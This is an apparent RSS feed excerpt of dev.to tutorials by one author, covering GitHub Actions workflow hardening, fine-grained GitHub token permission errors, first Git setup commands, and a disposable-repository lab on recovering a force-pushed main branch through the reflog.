        &lt;span class="na"&gt;run&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;echo "building $REF"&lt;/span&gt;      &lt;span class="c1"&gt;# …never interpolated into the script&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And the two rules that are about &lt;em&gt;events&lt;/em&gt;, not syntax: nothing that publishes or deploys runs on &lt;code&gt;pull_request&lt;/code&gt;, and &lt;code&gt;pull_request_target&lt;/code&gt; is not used at all. A fork's pull request gets a read-only token and no secrets — GitHub enforces that — but only if you never reach for the trigger that gives it your secrets back.&lt;/p&gt;

&lt;p&gt;Each of those has a free lesson behind it — &lt;a href="https://moderngitacademy.com/github-actions/security/pinning-actions/" rel="noopener noreferrer"&gt;pinning&lt;/a&gt;, &lt;a href="https://moderngitacademy.com/github-actions/security/least-privilege-permissions/" rel="noopener noreferrer"&gt;least-privilege permissions&lt;/a&gt;, &lt;a href="https://moderngitacademy.com/github-actions/security/workflow-security/" rel="noopener noreferrer"&gt;workflow security&lt;/a&gt; — and a lab where you find all of them missing from a workflow that looks fine: &lt;a href="https://moderngitacademy.com/labs/secure-unsafe-workflow/" rel="noopener noreferrer"&gt;secure an unsafe workflow&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the 31 pins ended up
&lt;/h2&gt;

&lt;p&gt;The workflows were for a product I released yesterday: the &lt;a href="https://moderngitacademy.com/products/github-actions-workflow-vault/" rel="noopener noreferrer"&gt;GitHub Actions Production Workflow Vault&lt;/a&gt; — twenty workflows (CI for Python, Node, Go, Java and .NET; Docker build-and-test, GHCR and multi-arch publishing; Terraform PR validation; Ansible with Molecule; CodeQL, dependency review, gitleaks, SBOM and attestations; release, Pages, Kubernetes; AWS, Azure and GCP via OIDC), three reusable workflows and a composite action, with every one of those six rules applied and the full pin table in the docs, verification method included. It is $9.99 once, no subscription, and it comes with the honest caveat that no workflow works unmodified — every file marks what to change.&lt;/p&gt;

&lt;p&gt;If you would rather do it yourself, the &lt;code&gt;ls-remote&lt;/code&gt; command above and the six lines of YAML are the whole method. Pin today; let Dependabot keep it current.&lt;/p&gt;

</description>
      <category>github</category>
      <category>devops</category>
      <category>security</category>
      <category>cicd</category>
    </item>
    <item>
      <title>Your Fine-Grained GitHub Token Gets 404, Not 403. Check These Four Things Before the URL.</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 13 Sep 2026 03:46:07 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/your-fine-grained-github-token-gets-404-not-403-check-these-four-things-before-the-url-1l99</link>
      <guid>https://dev.to/jjoyneriv/your-fine-grained-github-token-gets-404-not-403-check-these-four-things-before-the-url-1l99</guid>
      <description>&lt;p&gt;Your script calls the GitHub API with a fine-grained personal access token and gets &lt;strong&gt;404 Not Found&lt;/strong&gt; on a repository you can open in the browser. The URL is right. The repository exists. You will spend the next twenty minutes checking the URL anyway.&lt;/p&gt;

&lt;p&gt;Stop. With fine-grained tokens, 404 usually means &lt;em&gt;not permitted&lt;/em&gt;, not &lt;em&gt;not there&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why 404 and not 403
&lt;/h2&gt;

&lt;p&gt;GitHub does not disclose the existence of resources you are not authorised to see. A private repository your token cannot reach returns the same 404 as a repository that does not exist. That is deliberate — it stops a token from being used to enumerate private repositories — and it means the debugging order most people use is backwards.&lt;/p&gt;

&lt;p&gt;When a fine-grained token gets 404, check these before the URL:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Is the repository in the token's access list?&lt;/strong&gt; Fine-grained tokens name repositories individually (or "all"). A repository created &lt;em&gt;after&lt;/em&gt; the token was, is not in a "selected repositories" list.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is the required permission set at all?&lt;/strong&gt; Permissions are per resource and default to unset. A token with &lt;code&gt;Issues: read&lt;/code&gt; and nothing else gets 404 from &lt;code&gt;/repos/OWNER/REPO/pulls&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Is the resource owner right?&lt;/strong&gt; A token created under your personal account cannot see an organisation's private repositories, and the owner cannot be changed after creation. Create a new token.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Has the organisation approved it?&lt;/strong&gt; Organisations can require approval for fine-grained tokens. The token exists and does nothing until approved.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Only then look at the URL.&lt;/p&gt;

&lt;h2&gt;
  
  
  And 403 is often not permissions either
&lt;/h2&gt;

&lt;p&gt;The mirror image: a 403 from an endpoint that worked a minute ago is usually the &lt;strong&gt;rate limit&lt;/strong&gt;, not a permission change. Check the response headers before you touch the token:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api rate_limit &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.resources.core | "\(.remaining)/\(.limit) remaining, resets \(.reset | todate)"'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Authenticated requests get 5,000 per hour. A &lt;code&gt;--paginate&lt;/code&gt; run over a large org can eat a meaningful slice of that.&lt;/p&gt;

&lt;h2&gt;
  
  
  There is no scopes header
&lt;/h2&gt;

&lt;p&gt;Classic tokens returned an &lt;code&gt;x-oauth-scopes&lt;/code&gt; header you could inspect. Fine-grained tokens have no scopes and return no such header. The only ways to know what one can do are to read its configuration in account settings, or to test an endpoint. The fastest liveness check:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;gh api user &lt;span class="nt"&gt;--jq&lt;/span&gt; &lt;span class="s1"&gt;'.login'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A 401 there means invalid, revoked, or expired — the third being the one that bites on a Monday, because tokens created in the same setup session all expire on the same day.&lt;/p&gt;

&lt;h2&gt;
  
  
  Working out the permissions you actually need
&lt;/h2&gt;

&lt;p&gt;Do not guess. Start from the endpoints:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;List every endpoint the script calls.&lt;/li&gt;
&lt;li&gt;Look up each one's documented fine-grained permission.&lt;/li&gt;
&lt;li&gt;Take the union, at the &lt;em&gt;weakest&lt;/em&gt; level each needs — read where read suffices.&lt;/li&gt;
&lt;li&gt;Create the token with exactly that set.&lt;/li&gt;
&lt;li&gt;Run it; fix any 403/404 by adding the specific permission the failing endpoint documents.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The mappings that come up constantly:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Task&lt;/th&gt;
&lt;th&gt;Permission&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Read repository metadata&lt;/td&gt;
&lt;td&gt;Metadata: read (added automatically)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read or write files, clone, push&lt;/td&gt;
&lt;td&gt;Contents: read / write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Push commits, create tags and releases&lt;/td&gt;
&lt;td&gt;Contents: write — there is no separate releases permission&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Change a file under &lt;code&gt;.github/workflows/&lt;/code&gt;
&lt;/td&gt;
&lt;td&gt;Contents: write &lt;strong&gt;and&lt;/strong&gt; Workflows: write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;List, label, comment on issues&lt;/td&gt;
&lt;td&gt;Issues: write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Request reviewers, merge pull requests&lt;/td&gt;
&lt;td&gt;Pull requests: write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Read workflow runs, download logs and artifacts&lt;/td&gt;
&lt;td&gt;Actions: read&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Trigger, cancel or re-run workflows&lt;/td&gt;
&lt;td&gt;Actions: write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Post a check run&lt;/td&gt;
&lt;td&gt;Checks: write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Manage repository secrets&lt;/td&gt;
&lt;td&gt;Secrets: write&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Rulesets, branch protection, settings&lt;/td&gt;
&lt;td&gt;Administration: write&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two of these are where over-provisioning happens. &lt;strong&gt;Workflows: write&lt;/strong&gt; is only needed to change workflow files — people add it "to be safe" and it should not be there. &lt;strong&gt;Administration: write&lt;/strong&gt; covers repository settings, and on a personal-account token that includes &lt;em&gt;deletion&lt;/em&gt;; a script that only needs to update a description does not need it.&lt;/p&gt;

&lt;h2&gt;
  
  
  If it runs unattended, it should not be a PAT at all
&lt;/h2&gt;

&lt;p&gt;A personal access token represents a person. When they leave, the automation stops; until then, every action is attributed to them. For anything on a schedule, in CI, or shared by a team, use a GitHub App: installation-scoped, hourly tokens minted from a private key, its own rate limit, and its own identity in the audit log. Inside GitHub Actions on the workflow's own repository, use neither — the job's &lt;code&gt;GITHUB_TOKEN&lt;/code&gt; with least-privilege &lt;code&gt;permissions:&lt;/code&gt; is already there.&lt;/p&gt;

&lt;p&gt;Rotation, when you do keep a PAT: create the replacement, update the secret store, verify, &lt;em&gt;then&lt;/em&gt; revoke the old one. Reverse that order only for an exposure.&lt;/p&gt;




&lt;p&gt;The full lesson — creating the token, organisation approval, reading a token's own configuration, expiry failure modes, fine-grained versus classic by scenario — is here: &lt;a href="https://moderngitacademy.com/github/api/fine-grained-personal-access-tokens/" rel="noopener noreferrer"&gt;Fine-grained personal access tokens&lt;/a&gt;. The security angle, including what a "narrow, dated capability" does and does not protect you from: &lt;a href="https://moderngitacademy.com/security/repository/fine-grained-tokens/" rel="noopener noreferrer"&gt;Fine-grained tokens&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>github</category>
      <category>security</category>
      <category>devops</category>
      <category>api</category>
    </item>
    <item>
      <title>You Installed Git. Here Are the Next Ten Minutes.</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 13 Sep 2026 03:46:04 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/you-installed-git-here-are-the-next-ten-minutes-4gpi</link>
      <guid>https://dev.to/jjoyneriv/you-installed-git-here-are-the-next-ten-minutes-4gpi</guid>
      <description>&lt;p&gt;"Install Git on Windows" is the query that brings more people to my site than any other. The install pages get the traffic, and then everyone leaves — because installing Git is not the hard part. Knowing what to type in the next ten minutes is.&lt;/p&gt;

&lt;p&gt;So here are the next ten minutes. Three steps, every command run (git 2.43.0), real output. Works the same in Git Bash on Windows, Terminal on macOS, and any Linux shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 1–3: tell Git who you are
&lt;/h2&gt;

&lt;p&gt;Every commit permanently records an author. Git will not guess it, and it will refuse to commit until it is set:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git config &lt;span class="nt"&gt;--global&lt;/span&gt; user.name &lt;span class="s2"&gt;"Your Name"&lt;/span&gt;
git config &lt;span class="nt"&gt;--global&lt;/span&gt; user.email &lt;span class="s2"&gt;"you@example.com"&lt;/span&gt;
git config &lt;span class="nt"&gt;--global&lt;/span&gt; init.defaultBranch main
git config &lt;span class="nt"&gt;--global&lt;/span&gt; &lt;span class="nt"&gt;--list&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;user.name=Your Name
user.email=you@example.com
init.defaultbranch=main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--global&lt;/code&gt; writes to your user-level config, so it applies to every repository you create on this machine. The third line makes new repositories start on a branch called &lt;code&gt;main&lt;/code&gt; instead of the older default, which saves a warning later.&lt;/p&gt;

&lt;p&gt;(If you ever want to know &lt;em&gt;which file&lt;/em&gt; a setting came from: &lt;code&gt;git config --list --show-scope --show-origin&lt;/code&gt;. Three scopes — system, global, local — and the most specific wins.)&lt;/p&gt;

&lt;h2&gt;
  
  
  Minute 4–7: make a repository and a first commit
&lt;/h2&gt;

&lt;p&gt;A folder, one file, one snapshot:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir &lt;/span&gt;hello &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;hello
git init
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"# Hello"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; README.md
git add README.md
git commit &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"First commit"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Initialized empty Git repository in …/hello/.git/
[main (root-commit) 89ee335] First commit
 1 file changed, 1 insertion(+)
 create mode 100644 README.md
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then look at what you made:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git log &lt;span class="nt"&gt;--oneline&lt;/span&gt;
git status
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;89ee335 First commit
On branch main
nothing to commit, working tree clean
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three things worth noticing already:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;89ee335&lt;/code&gt; is a hash of the snapshot.&lt;/strong&gt; Yours will be different, because it includes your name and the time. That id is how Git refers to this exact state forever.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;git add&lt;/code&gt; then &lt;code&gt;git commit&lt;/code&gt; is two steps on purpose.&lt;/strong&gt; &lt;code&gt;add&lt;/code&gt; chooses what goes into the next snapshot (the &lt;em&gt;index&lt;/em&gt;, or staging area); &lt;code&gt;commit&lt;/code&gt; takes the snapshot. You will use that gap constantly later — committing half of your changes, for instance.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Everything happened on your disk.&lt;/strong&gt; No account, no server, no network. GitHub is a place to &lt;em&gt;put&lt;/em&gt; repositories; Git is the tool, and it works entirely offline.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Minute 8–10: learn what you just did
&lt;/h2&gt;

&lt;p&gt;The commands above are the &lt;em&gt;what&lt;/em&gt;. The reason people struggle with Git for years is that they never get the &lt;em&gt;why&lt;/em&gt;: a commit is a snapshot, not a diff; a branch is a pointer, not a folder; there are three places a change can live, and &lt;code&gt;git status&lt;/code&gt; is telling you which one.&lt;/p&gt;

&lt;p&gt;That model is a week of short lessons, not a semester. I sequenced it as a &lt;strong&gt;7-Day Git Challenge&lt;/strong&gt; — one lesson a day, a lab on the days where doing beats reading:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Day&lt;/th&gt;
&lt;th&gt;What you will be able to explain&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;Why a commit is a snapshot, and why every clone is complete&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Working tree, index, repository — and how to read &lt;code&gt;git status --short&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;What &lt;code&gt;git add&lt;/code&gt; actually writes, and why partial staging is possible&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;HEAD → branch → commit, and what "detached" means (lab: recover a lost commit)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Branches are pointers; nothing is copied (lab: recover a deleted branch)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;restore&lt;/code&gt; vs &lt;code&gt;reset&lt;/code&gt; vs &lt;code&gt;revert&lt;/code&gt; — by where the change is (lab)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;7&lt;/td&gt;
&lt;td&gt;Read conflict markers as punctuation and resolve a merge properly (lab)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Start here: &lt;a href="https://moderngitacademy.com/challenges/7-day-git/" rel="noopener noreferrer"&gt;7-Day Git Challenge&lt;/a&gt;. Progress is tracked in your browser — no account, nothing to sign up for. Day 1 is &lt;a href="https://moderngitacademy.com/git/what-is-git/" rel="noopener noreferrer"&gt;What is Git?&lt;/a&gt; if you would rather skip the tracking and just read.&lt;/p&gt;

&lt;p&gt;And if the install itself is what brought you here, the platform-specific pages cover the parts that actually go wrong — PATH not updating in an already-open terminal, &lt;code&gt;core.autocrlf&lt;/code&gt;, Credential Manager, WSL having its own separate Git: &lt;a href="https://moderngitacademy.com/git/install-git-windows/" rel="noopener noreferrer"&gt;Windows&lt;/a&gt;, &lt;a href="https://moderngitacademy.com/git/install-git-macos/" rel="noopener noreferrer"&gt;macOS&lt;/a&gt;, &lt;a href="https://moderngitacademy.com/git/install-git-ubuntu/" rel="noopener noreferrer"&gt;Ubuntu&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>git</category>
      <category>beginners</category>
      <category>tutorial</category>
      <category>programming</category>
    </item>
    <item>
      <title>Someone Force-Pushed Over main. Here Is the Reflog Nobody Knows They Have.</title>
      <dc:creator>James Joyner</dc:creator>
      <pubDate>Sun, 13 Sep 2026 03:46:02 +0000</pubDate>
      <link>https://dev.to/jjoyneriv/someone-force-pushed-over-main-here-is-the-reflog-nobody-knows-they-have-1d6d</link>
      <guid>https://dev.to/jjoyneriv/someone-force-pushed-over-main-here-is-the-reflog-nobody-knows-they-have-1d6d</guid>
      <description>&lt;p&gt;A colleague pushed a fix to &lt;code&gt;main&lt;/code&gt;. Ten minutes later you amended a commit message and ran &lt;code&gt;git push --force&lt;/code&gt;. Their commit is no longer reachable from any branch on the server.&lt;/p&gt;

&lt;p&gt;This is the one Git command that can destroy other people's work &lt;em&gt;as they see it&lt;/em&gt;. It is also almost always recoverable, from a place most people do not know exists. Here is the whole thing, reproduced in a disposable repository so you can run it yourself — every command below was run and the output is real.&lt;/p&gt;

&lt;h2&gt;
  
  
  Set the scene
&lt;/h2&gt;

&lt;p&gt;A bare repository stands in for the server, plus two clones: yours and the colleague's.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; /tmp/lab-fp &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/lab-fp
git init &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;--bare&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; main remote.git

git init &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; main you &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;you
git config user.email &lt;span class="s2"&gt;"lab@example.com"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git config user.name &lt;span class="s2"&gt;"Lab User"&lt;/span&gt;
git remote add origin ../remote.git
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"# App"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; README.md &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git add &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git commit &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"Initial commit"&lt;/span&gt;
&lt;span class="k"&gt;for &lt;/span&gt;i &lt;span class="k"&gt;in &lt;/span&gt;1 2 3&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;do &lt;/span&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"feature &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; app.txt&lt;span class="p"&gt;;&lt;/span&gt; git add &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git commit &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-m&lt;/span&gt; &lt;span class="s2"&gt;"Feature &lt;/span&gt;&lt;span class="nv"&gt;$i&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="k"&gt;done
&lt;/span&gt;git push &lt;span class="nt"&gt;-q&lt;/span&gt; &lt;span class="nt"&gt;-u&lt;/span&gt; origin main

&lt;span class="nb"&gt;cd&lt;/span&gt; .. &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git clone &lt;span class="nt"&gt;-q&lt;/span&gt; remote.git colleague &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;cd &lt;/span&gt;colleague
git config user.email &lt;span class="s2"&gt;"c@example.com"&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git config user.name &lt;span class="s2"&gt;"Colleague"&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"typo fixed"&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt; README.md &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git commit &lt;span class="nt"&gt;-qam&lt;/span&gt; &lt;span class="s2"&gt;"Colleague: fix typo in README"&lt;/span&gt;
git push &lt;span class="nt"&gt;-q&lt;/span&gt; origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The colleague's commit is on the remote. You have not fetched it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The safe force refuses
&lt;/h2&gt;

&lt;p&gt;Back in your clone, amend without fetching first — the realistic setup — and try the &lt;em&gt;lease&lt;/em&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /tmp/lab-fp/you
git commit &lt;span class="nt"&gt;--amend&lt;/span&gt; &lt;span class="nt"&gt;-qm&lt;/span&gt; &lt;span class="s2"&gt;"Feature 3 (renamed)"&lt;/span&gt;
git push &lt;span class="nt"&gt;--force-with-lease&lt;/span&gt; origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; ! [rejected]        main -&amp;gt; main (stale info)
error: failed to push some refs to '../remote.git'
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;--force-with-lease&lt;/code&gt; is a compare-and-swap: "overwrite &lt;code&gt;main&lt;/code&gt; only if it still points where I last saw it." Your &lt;code&gt;origin/main&lt;/code&gt; is stale because the colleague pushed since, so it refuses. That is the check working.&lt;/p&gt;

&lt;h2&gt;
  
  
  The plain force does not
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git push &lt;span class="nt"&gt;--force&lt;/span&gt; origin main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;It succeeds. On the colleague's side:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../colleague
git fetch origin
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; + b94d27d...44adf09 main       -&amp;gt; origin/main  (forced update)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;+&lt;/code&gt; and &lt;code&gt;(forced update)&lt;/code&gt; are Git telling them history moved non-linearly. &lt;code&gt;git log --oneline origin/main&lt;/code&gt; no longer shows their commit.&lt;/p&gt;

&lt;h2&gt;
  
  
  The recovery tool nobody knows they have
&lt;/h2&gt;

&lt;p&gt;The colleague's clone kept a record of every value &lt;code&gt;origin/main&lt;/code&gt; has held — the reflog of the &lt;em&gt;remote-tracking&lt;/em&gt; branch:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;git reflog show origin/main
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;44adf09 refs/remotes/origin/main@{0}: fetch origin: forced-update
b94d27d refs/remotes/origin/main@{1}: update by push
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;@{1}&lt;/code&gt; is the tip that was overwritten. (Their own &lt;code&gt;main&lt;/code&gt; still points there too — but the remote-tracking reflog works even when the local branch has moved on.) Push it back, with a lease so &lt;em&gt;this&lt;/em&gt; push cannot itself clobber something newer:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;OLD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;git reflog show origin/main &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;%h | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-n&lt;/span&gt; &lt;span class="s1"&gt;'2p'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
git push &lt;span class="nt"&gt;--force-with-lease&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;main:origin/main origin &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$OLD&lt;/span&gt;&lt;span class="s2"&gt;:main"&lt;/span&gt;
git fetch &lt;span class="nt"&gt;-q&lt;/span&gt; origin &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; git log &lt;span class="nt"&gt;--oneline&lt;/span&gt; origin/main | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-3&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt; + 44adf09...b94d27d b94d27d -&amp;gt; main (forced update)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;b94d27d Colleague: fix typo in README
a848187 Feature 3
7c07d94 Feature 2
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Restored. And your renamed commit is not lost either — it is in &lt;em&gt;your&lt;/em&gt; reflog:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; ../you
git fetch origin
git reflog | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="s2"&gt;"Feature 3 (renamed)"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;44adf09 HEAD@{0}: commit (amend): Feature 3 (renamed)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



